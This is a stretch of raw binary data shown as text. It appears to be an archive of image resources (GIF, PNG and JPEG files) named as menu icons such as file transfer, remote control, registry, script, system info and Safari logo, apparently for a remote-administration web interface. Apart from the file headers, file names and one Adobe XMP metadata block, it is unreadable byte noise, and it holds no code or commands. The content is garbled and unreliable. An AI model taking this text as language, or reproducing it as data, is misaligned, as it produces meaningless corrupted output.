;e8OJg8,ffGO)dG-hmX"333jXq"
2NP6	
_"˗0Y
FRYe[@
JA(79dބ
hH
S!k_40DGNd|-[02%I-Эk-/D0pGP902XUB?TeB/dT)AAcZGa)";2]7ehF'OpH
`70TT./̉*\1f3Cȟ	)Vc`R@}?X]gD(ajXQVtAXƄ0@
>@{.dH8vv>d/7GH&dG 	$̨sB
c˜d1
l@iZ! ^~|'V_d{oةWx⤔NWb4
!ơBTbBhF^j
bH``FI
rEA+QPG	8 :0kv-
%|@\C@kxmC)~ko?XUC԰nv%@o
%zõ	@p D8[q	5P\.n$9(0@Br
 3 L `.'.C#~2@E_s=)Mӄ2oo͵SO]4F:6e3??n9+|8|$C	.褗ͨCB0pC.;@0 n7}o'?H ;`PH2img\menu_pro_filexfer.gif[jGIF89a+'מD_SOťZ^پYOK/ȗrޗ}5.ke?)!,+''dihlp,U2tp.WE0A!8X#Uf,
YP"su',{3ju\	Ly>6hL8	<"-	yCeZ5{	+ŝdc		
)


(`:IFkPzZDa7
jx2Bœ
Zޅ95|tx8݊$) 䀛((Cf/lMHKB
hjѢLz;
(AYu5@S2Ih+_O( dT7"HFlsΛ=3z<VIPsVu-M۶'\;̈gG{7bcӍP<{
B̽Oy!;a_g0img\menu_pro_remctrl.gifxjGIF89a+'rx䣭ȭwwy{gRy҇}YDnite6GjvYӍejɷsLtwz΢|Qs>hwDoZrZ떠AXqopIHUЕJaO}3HqHi۽ʰm!,+'+
JbDEfKKf)-Kaxa$JPPr	fK8@@Z_as24@RŃH$o_K3N0	eJj$Ryy;t"[==$C>\0lh'Z6X
}4$斍&(R#$	ԘHN<D3$H@
)Qd*>.HEI
fPŃE @	Nh#>ZL
k?tPf,p(l21! 801٣	,QRcV6	b2ԑdB&pv$2(D`@]T<G)pR!pJS@BQ" <1
@D9.$%8ADP
P9 d\PBNՇ/0SLb$aFGe(/`\pA
Y
ALz0 lb5P.>I@CPJ@],qY=YDpBXXq'&:
Fc@@/"jE,1FrwdSD1ĪgXah
"ħGD*i@9zyD!h]19kG
?C@m*TX\ BFCvko"7;\,img\menu_pro_share.gifZ@kGIF89a+'̒ޤk'MzxvGYgֹ_ՋwƅυR>!,+''dihlp,tm.gۧBXD`[$TT#Cx^X23
	cz!CH"
M-#k+	r$		y	},%	;QO,$R.


Mu-^$GpxaB9[FHC9jQpB-H	8D4L&b0CB@a׆	H#$0†.a
 E ON!)X@	tv}(zD݄]fE@
	0)dǎ+`be Ȁ9A!CƒK ]dCU#@
rr?_eŎ1<`.wm.a@7yi$1$$\[tL"@p| Q7x (/;t	*img\menu_ra.png=̎kPNG


IHDRVΎW	pHYsgAMA|Q cHRMz%u0`:o_FIDATxb?5@
8s@L`R1X1?@,λ-zG7_~1(I3Xj3x)0H#+W @
r
o<cАa5ed]Ơ ðȃ@M#|l˗^x7k-
K=>	c
yYImcXqaE]A6(22ϟO?b8}4CkW?3Xy~5Fl#|=XͰ55W0=q珟|X
 &?2l9yOV߲VG	18z?@5cH2j@]tk?0T-9hdaf/ۗL@pm8uͧ߀++3P|>19H11cV좿10c
&N^6f_?1pɐP򟡲?#CBBAMp{7X/#ݻwONN7X)bPJ mİn=srȰ~;wb X91ә>}!@`iR@ $Xw;@ p@N2?5':JkIENDB`1iB*img\menu_registry.giflGIF89a@ `     @ @@@`@@@@@` `@``````` @` @` @` @`@ @@@`@@@@@ @  @@ @` @ @ @ @ @@@ @@@@@`@@@@@@@@@@`@ `@@`@``@`@`@`@`@@ @@@`@@@@@@ @@@`@@@@@@ @@@`@@@@@@ @@@`@@@@@ @`   @ `     @ @@@`@@@@@` `@``````` @` @`ࠀ @` @` @`   @ `     @ @@@`@@@@@` `@``````` @` @` @`𠠤!,t	8I!)04PÉ	q"D
OR.ZI#H8AZ'Β0eμ9RbO]$*TaD1s6IudO3)t&ԯ=a@;%&img\menu_remote.png*lPNG


IHDRVΎW	pHYsgAMA|Q cHRMz%u0`:o_FnIDATxb?5@1	ǿnu'O-d8X^J#d1p_A_][6.OjcY bi_q7@[+2ː矚0udSe<ymDx
҃0bG&18q3cuw1ǎ*-Тa g`8zvŰoK9μh[q7P.ɗ_u>dXt^᫈;LlZ"_Z7oZ;\(Yhcк1eAK%]`r<go^CMj{+rܴ}z0s~ &mïʠ_Vf bDrG]ŵ2}`bdx;C%7Ddd~p3Eqʞ@=@ (n[rG{0$f!r\_dx𑉁3N@r,>y붹C	'áz
lo(0p|}M׺@[e*\xX/Ud~<EW2<f`AVU@= &,-8yˇ{~Y1h7?7ß7K4<+bzAʳ^ѽB/O_|e۩W_t]b$a 2@,7@s@~#E
4E3C_hIFZ@NVs(IENDB`I0*img\menu_schedule.png7ylPNG


IHDRVΎW	pHYsgAMA|Q cHRMz%u0`:o_FeIDATxb?5@1.3<`A
׀lӕ?30Sd 0:!
1q3N`Jq1Ӄe\w1ybp7a>a<bZ]Š  0'oF fe뎅P^P!ۦ3B,@9|``ddh <@3~f`
>0~봃_G?bǠϪuf9Iֵ7h ~4Vo"W?3KzzO?,=ein+IM>n[+
 I()tDV]fo0-'<S ?فk@,0m`pG@cW3|rI@mmiBP ~	@L@tsw1
X>%v_`	ᩳVB
@ oݺSLbN<Ox	Kf3'03gP`dgyh(@ C_>F`1|fdd8e#ë%Yw}~e
eRNP pbbeec1SI;Kʊ`4>A1A@gFN0?_K&_y\?[E&`LbJ$
#$+$^>~vv/^|N{!Xgxx>+_x[F`B`/a\8.\>Z_a>~`p|+ëtE3?{c-2<\\4P#h` F¾p7AȆAW/	0p[w { ъn[{'w+_~?#.&6mw{E@@|bAEAI4>7P>8.«GIENDB`d࡬&img\menu_script.png6lPNG


IHDRVΎWtIME
%ljq;	pHYsgAMAaIDATxڭTKOQ:-XB*ؘhbbqqR\hXqa] Wiiv^̌$&_=sw?-W8Nslbgh5rF#]5?8s:KE\.xgnxkZFoohՊA^`r60RV5㉛ʭ( 
bq"qj
"'_0I:=MXڳ%Zol"Lv'dA5N.}@pr$E<3iOd:g]Ů`hXخt\[ᢳl8aB.]EVU I
	I:ѾV`gDFh6lv@@$L?#砟VM$ҀϥN
[56${YxyzC=='-Hcb6LTs)V37+2+y5ֈ`2lG[;'X3))BBVhS]]ٮzxkyDZt[A!Rh{=~IPtp@m~^zb,6U'Om-AAlR<򲅡7zmzb`%oww-S-߱Hs4
NUi##lvgoNf-4YB	lZ@XOԱ,I*nIENDB`=Ot&img\menu_secure.pngmPNG


IHDRVΎW	pHYsgAMA|Q cHRMz%u0`:o_FKIDATxb?5@p_}wK?b`xaCKȆ@0kU[>gx􄁁}3ĕ;J"@`fدU^K&H0nO[g3!(ƌl@G83
0s1GV2
fa Ąb8p+2\@?fONMr~2
H+@ӏπ2@x*r[)`0ݻi#=`p x[~ZS
#߫~w2#?7`duL]!7Ñ@p>
Uag`9[u	"fuq8Ys@{$ a>I!í@4~-9 ._'~%0>!(NRs@!6,LB#P8Njd/,@Ehп@1Hq\Aw0 iyа_ Ţ7
No10L]N E@0ztW6jcX^cx	dg808x(
i%=}&p29Z30B,Ine`Xaݍ'sҠ4@!~&uQ?[{O>?
2<qa4\%?f bRA)<g ~	įg3A֕	ƈIENDB`8&img\menu_server.png2<mPNG


IHDRVΎW	pHYs+gAMA|Q cHRMz%u0`:o_FIDATxb?5@ޞ9q*6jjL_|͛_|/ߟߟ>{vwھ *=zٳ?aAXX!;;?OfxÎ?
v߂̠O?'۷>}4åK7;Ow3<~ɓ>9`7?;;;77'/ÿgbؿÒL@-@
@p>~x>!<q0|AIY߃_]1@p޾h''s0pd_?1\vaRRR߾} A@C880o@~AUE!4ԟݻ//^"Bebzch)л kVoed07/٧?}aPT_PBeOa?7nЍ{_῎<#7ЌLLL߾f`ddcx"bAJi5{crXOk߿.@	LCׯݺݻ`˧A6 3=5aS/^x4h;s
`'Xbf@?7L/@1e'Nl
_0'NN&~~6VVVLb͛P@ȹݻ*1/(,$/$%E8)aݟ<tY#<@s_{u@qwa@1+؀) b9hj~
7!PwZ*uIENDB`b	8img\menu_slimmaximizebar.gifk&cmGIF89a@!
,@B
p`jhs%-uʶ+Rqju9~:.
=ZSFREDj;>0img\menu_splitter_bg.gifG7mGIF89annnmmm{{{!,XC,8 ;)6img\menu_splitter_close.gifymGIF89a1```nnn!,1>H:Hg-oޖ}g!ءJ%1@mо"֎$M9kϥIXF;8O)@img\menu_splitter_close_over.gifymGIF89a1DDDMMMyyyaaa!,1>H:Hg-oޖ}g!ءJ%1@mо"֎$M9kϥIXF;nO4img\menu_splitter_open.gify&nGIF89a1```nnn!,1>H:Hg-oޖ}g!ءJ%M$|VFgȓKYkOԸXF;MuT>img\menu_splitter_open_over.gifyMnGIF89a1DDDMMMyyyaaa!,1>H:Hg-oޖ}g!ءJ%M$|VFgȓKYkOԸXF;b#T(img\menu_sysinfo.gifnGIF89aRR!,G0IkcKƁq@ja	vX
8}`z]C(Y	V:	<4dyU<pv;ңvimg\menu_T.gifU_GIF89a!,2*<hpÇBP"ŋ
j,"FCz	q$I&O;?4&img\menu_Tminus.gif_GIF89aŻ!,o3*<hpÇ.Hx2j0 A
 (8$bT`fHO/$XР|a
$(DzUԮ;ԃM$img\menu_Tplus.gif`GIF89aŻ!,q7A*<hpÇ4H!B
2j0 P#B
R(`IȔ͂5@^$LS.`T`D->ꑫWU;w(img\notification.png8oPNG


IHDRatEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)" xmpMM:InstanceID="xmp.iid:6B1B5A718A8B11E38478C5C8A19756F2" xmpMM:DocumentID="xmp.did:6B1B5A728A8B11E38478C5C8A19756F2"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6B1B5A6F8A8B11E38478C5C8A19756F2" stRef:documentID="xmp.did:6B1B5A708A8B11E38478C5C8A19756F2"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>x6yIDATxb466@>`db F>Ӊq))qN)vŁHUa8pDT "F4ˡ_q8uĄJ Ux	P k9NIENDB`'aB,img\perfviewlegend.gif_oGIF89aB޽!,np9* c]C^%|f^x#j~ޤJ9+kXr19't*>f֊ݲ.X"cyζim<:C3Ѧ}21|z)y*/bx9!;b"img\rabanner.wbmp`oY%^*?=[떶ٝzw>طo_{~^?U[x5uG1 0 @@B(C0BxB8c}'\y_Ѐ??"img\rightback.jpg6oJFIF``fExifII*>F(1NwwPaint.NET v3.01CC"	
}!1AQa"q2#BR$3br	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz	
w!1AQaq"2B	#3Rbr
$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?dOUO:'FZzԖ^iҏ$J/_ſvQgճ뢗O3:^1YtoFe??UgMѾ5`fKk:n?iJ8$~_͘ԟ]p)~R[g#Z?dM]?ĿB:V\b$OYRvwםc?3:be?V?k.^]Tg-]9%TO*֔$0A1k~
u?Q:^Z3u?Q554S'3J/~ҮAK_=}#oo4RU6~U<sMU_ދ#+ioEK4][@J(ӿ?uo(jMc_O:'FZ>Hx>ľ>[*A5}AtS#72?ֳShٿֳ=K_z5Lz~
fO/O?Ke}e-C>~߇u?oD5KA'VJʓ+V^7}?J=Q?V?k.^Z?\g	{G3i-Fl|?\JӔ̛??һ!##:n?fA~VlqO]w[H%}R*:/;Ё]0~?(?QUm$Q
]^-;CV4][@J+/SHپjimg\Running.png'%PNG


IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxڤ]HSaƟM̏`nDT̏EB]	/(0E]TtN+ %I6If6tRl{iF7Ёy#"PH;tE4'o3"L ["p.ROK#MF𙻼`h80.	smXFw
nD`eRID武.XmvpP_#``ʃĖe%#hKK55s%3B4E.d3oܓxۇ7o!acoZd	Ԯ&h/y)*<2S--dl@v:}yxh4gJVmJQ <
*rpiRa"fQ	ռ\`Y=ٟz(H8A0ME8&4#KkU``fʹ"@4
Zbk	2hsp)]5VaD=v4#A\tdBIHKNPFAL?=ľP#(($שgm22A&Æ8/͢%'O>4Gb~^&~yK|Gqy]dm
/P&HR;)Hfmt"IH~oK2w1YeZ
#0ivфlݨʚUdC2+GBIENDB`Dp*img\safari_button.pngqoPNG


IHDRaNIDAT8moL[eƟ[F766nbLq11>Ř}s]L̘,FD
,Qt:8aq;PKG-2XW˽}Bx9SDx<a(B$qrRl@`/c,HD::Cy@O}n/Lf%~JoX,i,8;UUs%<&TRT+^*E/^@|ݶ -==={.uMyK[iRYV)&nLw2ձX?/ںvxΓ2MܜC*1KW%\`Zrߒ^I{D,茱Z܄?+
'x?Si`O(½#\fFƝ[']CUUݓW'4:(wZE&<kMlVҦS&:R[<gAr;#
8?<WE,6cB͠zTVo</!)BPB@X,0
CW ZTcC1@i™7_Htj&_Ǯ-	!f9IPkcWRo-]lB[H9oO9L4x^4}P0`,
f]oznEɷNcX5<{a92$&&fn97_=$cx>(	@Um۷#TzG^f_B68OZM송/Gt};yQD8<OIENDB`7C&img\safari_logo.pnge_IpPNG


IHDR>a IDATxwdu_ʬ,﫫-h²A4 A!QȡծVFKrj3(GQ")F(R4h[˻?^VV5!s&Ή~^_{M߿]vL?c;l4ot؋x;j?~ɓWVVihcccɑbr}ړO>i//OGyu0Bj0Ї~jhh>+_a-݁WXwK;v~tȑ\u00Ah=sJ7?Ey;
f}?s=alU@
 |ws+(.!Dӧ(	u`V8du=y^muah뚊H]Uخ5Q%P%d2iMӚ@QӴV<.o}ʛ-8qUW'[0uG??8z.iǏ}h<tMĭoǹx…iZ};11ѓ}}=j5\+{j:BB(o^?L&?}Tٞ[j"mbGyxhyy(-EQB\6ȗ(By<SLH74У}k?|hiiz۫o^\dXe͖===mۺe
!0[4=kTJ>?77wqeeea}}}u]7};@ެ@y3@L EUU}-zTc8
B
\YY|^
!"H)H)@a( Dmy}?<l6J򙍍S33g:ukkk~aEE7|'''o޽')===O| IJ,bfEQ@AB$+A" < uFzF^Zh4q]jf'OO?nA.ozyʘj___
7pW\
7\+rYI,M<nt]:rJBXX(8ǎ=#G<V.˞yA?C	MM\4mW~mf]';dbzzqqZVZFVX,__g=j<{nff~\\\\a6z㎏'fY&{KP 76pCQQ@CP˲0Md*E608uZjRK+KTU0<=??xogggg765`S{wԎJ%}}}K:o
"aRX_ߠ٬qR!B`i
(12غ^t,L[-5TUJ,.. _}2}`sr޻P?CCCdQYUU/BVZZ:ʜ8*H$hLDL;N̲R)
2uAuz{{ٵk[}T(+5
뫫,ϱGqĉp^׷[ӫ~`s~=|'[r^FGG%4}Rp,k4j5:jf{V*J
n+}'(BHl:T"T0PU4$R)r9z{zJ!JB&4&Ǹ	"rzFX`iiy*Պ}=V	7'~6J'&d2ﭬ077GP\-SV)y"Ns8.j5M(:x(H);Ӄ(kD\.G__Cd{p}5"njv؁|>OP\*/|}}ZV7BEQk斻[\MYZZe._bmeB@B-l4BП'M6#Օ&N`[iavjբՊBrHP^>BQ"ѲP4A܊ffxx۶;sW:5W_Þݻi8
1J%V%sΝ0l@!L4Gg<}Gw:}++,.,ZYX\s,//SV7Z CR}9͎qXf4-0BNd3u)C:KKp!jR A2!R<ssd2n&i4S.`vvsfǓǞy_}~#
BL&??kccc۫OOOw(߶εzY<cP`ff3NDRAJ]יômjz{H$x&P
D4N@|}4Mö$14͠XsNP.Y1t2uz{'2[E2,..233Cb/}j6^({⦅f055ggg#m<\0K^=</$q58pdB@ar<m7oZ766^P7C4&tEU	uiZtwwcY|px۲fdY\%\[nСC4Z
KKK9KXrO_M(??d򶩩)"s]`~~0x"O>$ǎV?[k.:kkk4
m89VuZ+ęݠ'%#%pns&ɄɎ!0}Ǚ4[o`luz)N8aH$mnlfmmK.gnmXVrHPbqqsα1X,=~ @!vs=Lnڱcɩ	FGFrVő#GxXYZ<:tw\y啬@*DS5Z-+9~1~S 8'dD$eH

h<°jBZcEĔ"\o}SF3-QUujFo_f|r==W&Sl6pXwST(,/sf}-
43D;wc4CCv;wmʃ|}zF[VnF2KN" C*3K<udhhۮIOG(B)A
,CD)(f^s:"fx\cA"<fkkkLNNғaYejRT۹UbΟ?RdI?OJ?0!{>nCu;<TӧO/}*
ԇёQN9IZ#ɢ*rǟ+<WặF=^'e
F%%bIB@tC^ bLrIqX̯6fY/$1EP.Wm뮻˲8z(fx25&ɮ$-grZ

kz_!g>yBdٞ}C>==
188@ҥ9b	o?_җu]**6._'b6r'Nz|%4*o#{'{P5)%rz$K C((煄RASTDGm ah8D6>t\c5WRi<[i!z1f/0L41<T*DZ,EQAqY__:u ZVm[{b؏OLL099(#@][_#r}LT}E{>8'N@UUzr=4
qz6ϕWL;[M'	8RwpP@uB0M+v
ksh5<4UA(HXt&Dk۪
q)kvㅂ%Nӄj04jʳ<C̶lx,i'NP.U4
 qEVfϞ=g>PE%ȈddhɩI2+++ؖ׾5|aj*jt:OO:|oqc8gwD # Bn<4ux˕㔫M6kx~JL"a(q2a$r+f|[ppC!H)GI&k	>.-;<y}X"u\Co?aVRP'S,06V˕*5'.BqNOO^6vNO36:$QVYZZŶM#y.jǘ\.38889<Yi;]w\Ǿn$0zg5_V+\gUUΒ[\T@#-D
4MiQʨ-at]
,]"	fR\Ao=UVH&r8n8CCo'R$SI,3N88! ؈
^QV.Jג	^!ÇmCӌ126J*lqqy?~b4w.Ν;^*2OW<K:؉ @oK^@Dn@)V2	8c\ c~LahP+ra(QUё>,gZ<<Ak^u]2;v'$}$T2	N!!E077{g~u]b>m;v`bl8~y8z[|[bqwqiL$NS,sسo~ǵ!a'p-D#sM7R<yg|0C6ؿ|/Cʍfd{-pJdM
aЮm@D5
 l<Ogrt/?Tpa&Jػw/O|	\%Lҕ0"xXrB՝w<Z|B(~mWW'IFGٵ{G%#vhݜ=s++X*Gzf+Ct%L\/$A n$6<PCSRpfvc9LCc b9_enJd(,{noVS	T¤/h/CTo>6(KKAǙ<	$]]]J^r9d'2l
EUb* <c##LNNblN8\4#=LQh:?s,&H#j<"v7\IOܧP}H47!Rĭ{XX*S(48qnn1j3xN-K-|yU-S0Tt]4TTUI)Ԛ!{"Iʥ

vO;KSOcDd2n2?? i"DA9;wi},}@Q
!;&dtt!YY_Z/aHfmm
)%t7RCycn[߇x>ȗ\0$!@aL{~nkmQs(JFӣt8vzE_6"H&MTMkDA(	$/H
h:]Izö
AR(~#v^i/~y#$IRm#ŋKooo_ʐ;w-={*xB(7|󝹞ozs#عq9qp䩧_GWUx{H:===T*e?-&MS~+lT6Շ^!Goz8v	ؿk"ϝ^sC.QLAWM C`>[lbm%qJULqWT.__i6R]Y&8R<`r]q}aZ&.^(858uT6ŒH$&+7JR
mm'''eddl&ѣO8.3gg9묯+eumLOzgg<sj;ԛJ%zR}#
=IEF@JCU7m,l[* D·r@x~HDr!,QUoɁ)R]1d\?:A0cJ%R)RRJJsWPX\\۷zǂ xk
B妛nX,8##ivť'O}jD[o}dq|vu҈mЦ_6CI$07oFH
>Z_JNwo=72qTM0-!o@:6<7w3 \0XXs9w@U+Z49~nJ&0M@J}Lwj<{P(K)_BSrH###LLL S[
fPVubȝwI\
?<j]=ȥ
Fo*cavauM45\/x^Ȟ>OQCU".IൕJx@xw/U??o4+$c
;b^ޞh-BJ24arYT
EQqZgIضB޽{'Nxղ+BkY'zs
X]^0M<;v젿zQ-ֱU6
ޱ^Pur$1 2AH>9s"mT¢+eqt]	/my(;ߊ!mŽyy_c*<|&N63Ԛ!-=HA_ZPI:&1`(
a(ganzN2²L<#Sd3"
[oZ)
Wc9꣣	@fd3QSTfaab/arWP(H&4
VRۅx.8?ɦ~dawEϐx2<BNxdʐNx$ѷDmkx
Hܼ9%".o_S	%'	+)@i_%dz"T/O]!l]CѠVb&\
"<~裪W_MӌW@ٷouݜd"LH$Qo뺘IX+haDJ?cT]5ObI.z{b&q<!U
|]UVp)@ջH
+xB':%^HJbJ?98δ_;4g8B'>7E8W.Ԃx8266FX踏I$,,,:.a(HF]ӧ(+fW!w{\ʤt:M`qqrLV4-<4M&&&i6ضMb.shG8)*.ʵG8>ߪaQ!
2 IDATn> :!nD $I!?Ջfh2C|~Mm^Kcų4T#;~b7TDb>^oW%]43ynE(4
[ؽ{7ao&VQ.W}MbqqnW_WoXU;mۦTxy"k5lۢX,{4`6"eȑ_ʱg*@B!7;.%M? M?˪/	
FG{zC|mG~)=
pn=mQIf
"_H7d\s^(,tOVB.28#qԸɱEJ.===R=nrXU|?@A.A.UUu!+/b!gϞD2"L&</0Qhy#aKF}Ӳp]:Lhhi.b&=1v
]OkR^n!l7ω#A˞Ä#ERD
>S}Un"13h{eW *ݩo)o,ԓ]A055EHyXE2$QVh,3hjznEQW/P@I$$I8ho\DQlinJwEO¥uō*Ϝ]%%g.巍6!Q>W$>g^HYyS`!g5!D>>L;tSo ,M tJ|dA\Ėl6H4LUQ)LQswUUU{`hhh"bxx<,.Eu&vFQ}4[-j6GLjAFS"Ij6h>/Mn^l $*#HڡQ N	BjO	8R)y{\8Et6m6IO܆9w3(#v+'$SI"A JOO۶d2ji^wo0G!vkccZ)XM^+
4]oGHN,88N+Z@
PyI_澵 [5ߎ٬b((Z(n^+UIד$DtD:}X_O8wg*>y/mZighRAFn;JIR\YXECOOe>D<A:u]ru뇆&^5r hmK$0-;ڒU(PՉY	tMBFF4LZN0h/1ң
DǜM+&;\6"2<|mOS;Ί@p;wg/=v}\州5r닝cUU7D"ƞi4W,<)qyq4ǧ^jQ+4nԨ[4W)%&'9W1M0C0yL&cZ4Mlfll!^NPaF̶\2M,@U~KĐm%t]NrŸ˜UBQT0F;;Ϗk{۞<xN4r%KQ7o95燣]ɕ3g֩6\3瞇K;`8r՞,cW"(Ihr	PxBw<GMUUq|&SY=ڬzrb1˴mZ(Պ=Q~Yi9Q4oT5LĴLewH0zೋ-dPl9*h^FH/!m/oPW#Xިo	]CS|m1u'Ϭ5.T(Z-LK/cT0ڣ>;_9߈<uOX*&كDAn6.(KuPH	pኝ3)s:{l4|t:ʍ!iǰ-jJZ+fqiy@rk4}ݙn@4j*|zP&iu2ut]mXF*䶗hUD3P	u%&OF'gy2Ֆ~ܺooϬ̱Q hIgA]/sqm"XhE`UoN܃$fP^+"zi6M`[eŽ.vOy['.jZb`-"BbN*jkeCTUxۃ8@\fŗ!	!вii:QTjH%P72J>eɮ~dźItv_-ѻ|"/:Ssʰ$n\DԖps'P4
-o	qpu=laBa}^E@B/ΛYh0gb0Ŏ.s׮ptn
w84=p?S\dfP(1kl70h1ittz(;xK]9l6PU
 _ؠ֨PBN:R\QXǨd*BQy
QAn]$曡)Q,*x4>vc*FT.zI:^dϣJBO5 j~oֶTҍq7[fjͰDN*]	4A(~|2S})Fzc@C`&f0HwumhJIoNgiZz:bKziicB(6*NEW:n-4"QQ(r* m3V67Y 	24=Z6-
Ubݡ|nOgz&CF
)"Sg;Mfi{̬JI.]qt\'T i!MקRgʑ3eɳsI
P|n;¡@/:F#1TUAS5@uTUR_24]^\.w3	
D"v]7i
T+xG,CWUK,C
ߍ65JLf.bt
38ЄBʶH##`d6_%_q([jKq?yoZЗ B?R:u~c]	>s
=*X=EPk+QA:iI'Z=4]+5NtW[93KlAgfߟլ"[SVm,m0s}V$a%0l)tww:ۍAѠZ!X%"˧iMXmTͅܢM*l3uj*&lѫPl\TRdK;6}(B\
/qSQtX_M35rwR?pֶ|F/*^y	xs
4U?#x
#,,*>iݠ;_'hzB*ml6QZajQf46Bd=weY l۶Q(qH!`Y1xtPMEU!I	1S#n$,RRRbE@T+
i[Vp݇8P3넁BFu/9w2M%Ba[Ouۄ]VW_/qܽjgV·)]jZMsq:qݣRFA ?]i(彦kD{Z4Ј1<ZV%W%=Քٞ]ץj"e'O&mjFBP'FI!-d,oR(R:
P
~+
tEE@%jK@aW?]A[cm~O/CރCI=Cf#QřKr[-^,w6O+|3|;Kd(k??FTd2MU@DW7D)jh%V˲p'zs
{<3
CòkQ&NM:icx2@7UUMqBř2:A
E{2P>@	"E6]?s29#}Ję;ɓ_%%Gb1|[}
K<3ޢƨTM
ٵ&'kgm1F-݆=TH׍NDsN;%iTUK2O<@4CR*L3@ }8wܹal6zC)0
ҕRnqvF!230e/wQ67n*-Z	&L{r~*:(@	C|id/?`zzEQx[6G$XR+oE̾1m|;_G̶}j;	A
:.bM%..2,tG%Ռmy9$T#% u]08/i80
+n)[)V#!Gf~\b-֊[.ojOShl5#ϧ8u^f |;S|ۇeDEh
*"ӗm>}r[0*
]xFM݃hYY]-׏ϡFHxhk1b%P.m$%UuXztt:E>BT%l
fAQٜ2EQ_+@蛴0lb!^tF<z
ZM?oG0r)5=Ts52V|3S;]92M{z֋WvX-7AZդc}^s5>}MR^tl6K2hRhΛYh?PZ{tCgy:f\ 	.UCൢr3C&A
q,K0@tf.K]$BN)aHT¶m qZa&yu  #)Ē10	}TUEUն 8כ:_~|?i@pp$'I'u}R'@y$:4L߇$Ç[9	</˴Z-חG[[Cy7@@
6W-S@"a> BPTT
T57aK:E(0ٳm0tt]_ln
	eo8l6143t]`0 PIlƶN"#)=y-`NZZE<M"hd|IDK?~Ė}5	4ufKZϸ?C'#ܓKwz7z{{0M5? Ce+݋n':MOx!WшެBxM',Ǿwn}+O\JKXLNDaKDIvĵAQV2UBl
i*fj$]ĬIlI \N\r7)h1PTF{>Ne(]~_:vv=-<\9֍?sA,˿?6yCe°X=C9\8<ñ
*.j^\Nog3Etuk @#e/PEp
@"2D
hMjon˲B5)V֊{bčvL
S-:TC'֐zO?OQОFͣ,TZ~52a,jLe=g>+*Qm˚ĸa"g^˔-O@$<78&$h.RJTUΡ7>>{==3;{XĂ%MQ;J|Ŕ*$q9rũ.R$3HET$H
w;{}O}=CX$UU>﹟#}A"$RB?Ķ;ufgN(t:J۶m*QQ>)ER1dɎK]v6}:^Y~AZM͟]6;d2};erO~o6l4[M<Z)gt#,ow;%ID2j"JXMfsHH0MI(>"
fmV `x6v]}bBA|_YN*FH5ؓGu{h~էGK
~_@I	"0^{wBC2䧏Rc|[=s_
~ߠZI5"_&Jw>h+9z&G0t]A1aˆD$:H)ۮ <ϖRڞf-&&(JTz`Z&"iaw=zV_KܩǠ|hJrX܅uje~40g>m^\-GZHM*=|X4ۜ/`J__ZkR2`F1I?pFHc~$U{eZtfa*FzCErUYR
_	4͚v6I&pL­iJk"HiMc5
z|G9:@.wo~k 2]8!^~V5xEU;]ߗGTl#Vϟs7v㛪džx`$GݥoA[HqH
!ЂC{i|4d3QD xOGH	vtLJ}	$IGɚxO Rĉ\xQ
jC4Cw#^!MƔS]C|neHCp'韲;xpW]iH~x|
^}0+K
HG?7H@*oy/H7=##y,..b\R{nqeqwIQ_EżM	A[qAբZ.c?,c6##^M +6+!ӔZmO%2.hYRH
Š7&&?kVcmmmXr㼟6Mvn&YF
&Gr<4㑩<s\<{w8`wU}O	 EڡG%
aU9F[+09=RB ͱTC*\fa7ÐܩQ.F2;"ݽ;a++fcojӧesO϶NtM\*nZ)lr4(A>h!~ixﺊpUrcESb>c.7u޽;x1<sH'r|eqijub2Yyhl4V@? F s	5w50910ʠi8C&@,)%A>KyLʕ+z3 X_<yTmgkgr]?iݡjLN:vѱEu95slbE-VYK]-MVA5<q/?55x|ynܸn!5.W!Oׁu97[H*D}F}P=BpЪ&(X)cn{A IDAT+c0$cڭ6fBaQBWV*|wvvrZڵkt^<ߣjyހS8R4WnyldMmIhQ-Z&!4!Ch}
kH]YB]RO@Kp^xqpISΣK|JRHDF h:Y$ZhRCjB$+BA"
Rt'&,ub!GSƟh4;Qr1Q.=ޤ c$wUԩDQD7߫“MӤԙcW&郣Ol	uDBGI]?zɒ,,,ҋ/"º΅midc"
k|ab"^J:+]EC?t_W5&HPLgbMӑRg)=&c_Gt:2cdթݣ7au;)wwor6o߾"qSOc%V#"LàhfT,I¨q$Q-!'ؿbR(PKwJMI=8'RyepU-Э,Ә%>!'Ob[~<\Aו89=p)%PG?3I!+epI˖8	NT4Ek+	AzΎ`m
mfggk÷|ݹs
7odwwIFFGq]ƣQD>j{<}b}JG;?:t/5=R; %w̐?#lom/~8W=^rO>Q(fmp^U47iѾaRXj)~RjB$8Q?W6-!4IFL"qefȹMeQ*hZhjݥlD%lǣh`zZ|ބf vnm^ΦD}	ÐfI^dCCC蚎b=0_cCDf"Hq@
(	/>vh4@υQ'?MwBždHU]SMhHz$["B54F
NyKGh=Y~#2MS	ЬE"ϫrt
j8CEP|`tl4׀ޤf|j/\ze:;>ӠgUKS0d{gː@33L|bcz\]}1PS<2?3ڡwox&FLf|TקLM5%h$R
Mb_:Ϊ F-hDqGde}iN:ױm)eQTt:$qBekk
|WlZ\kee5G IOػ}k+++\~-F#LMM.;
'L:2s9?DΓ&_=(;Cҥ4TAj	95㗟}׋?&"=_$7wktj`,
]:N;a+6}% DiRQIIO|ށ"4]rcڑ^i>pn/ԇi4EaPבdoou:.~eC|',˛4
nsEqx2AO>I$ZmVV\˴!cYKet ɰG&<^n$I׷*@Suu9Ko?> k?˝a4CO<YJt7:lYhNKbF
MRSIݵ^VȍFo!מhO3Ett;]667YYY<$F7
